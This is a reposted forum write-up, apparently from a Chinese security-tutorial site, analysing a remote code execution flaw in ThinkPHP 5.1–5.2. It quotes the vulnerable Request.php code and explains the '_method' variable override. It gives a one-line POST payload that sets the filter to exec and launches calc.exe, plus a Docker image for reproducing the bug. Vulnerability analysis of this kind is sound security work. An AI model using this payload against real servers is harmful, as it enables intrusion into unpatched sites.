資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|m.rigasin.com|我的開發(fā)技術(shù)隨記
標(biāo)題:
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行
[打印本頁]
作者:
1366875557
時(shí)間:
2019-5-20 14:37
標(biāo)題:
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行
Thinkphp5.1 ~ 5.2 全版本代碼執(zhí)行
序言
最近爆出了Thinkphp5.0.*全版本代碼執(zhí)行,其中5.1與5.2全版本在生產(chǎn)環(huán)境下下同樣也存在代碼執(zhí)行
漏洞分析:
文件位置:\thinkphp\library\think\Request.php
/**
* 當(dāng)前的請(qǐng)求類型
* @access public
* @param bool $origin 是否獲取原始請(qǐng)求類型
* @return string
*/
public function method($origin = false)
{
if ($origin) {
// 獲取原始請(qǐng)求類型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
其中:
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
$method變量是$this->method,其同等于POST的”_method”參數(shù)值
然后該處存在一個(gè)變量覆蓋
我們可以覆蓋 $filter 屬性值(POC如下)
c=exec&f=calc.exe&&_method=filter&
訪問如下圖所示:
(, 下載次數(shù): 72)
上傳
點(diǎn)擊文件名下載附件
會(huì)爆出一個(gè)警告級(jí)別的異常,導(dǎo)致程序終止
如何觸發(fā):
如果設(shè)置忽略異常提示,如下圖:
(, 下載次數(shù): 74)
上傳
點(diǎn)擊文件名下載附件
本身項(xiàng)目發(fā)布就需要屏蔽異常和錯(cuò)誤所以這個(gè)配置是一個(gè)正常的配置
Payload(POST請(qǐng)求):
彈出計(jì)算器
(, 下載次數(shù): 81)
上傳
點(diǎn)擊文件名下載附件
Docker鏡像:
docker push 0day5/thinkphp5-1-5-2-rec
歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|m.rigasin.com|我的開發(fā)技術(shù)隨記 (http://m.rigasin.com/)
Powered by Discuz! X3.4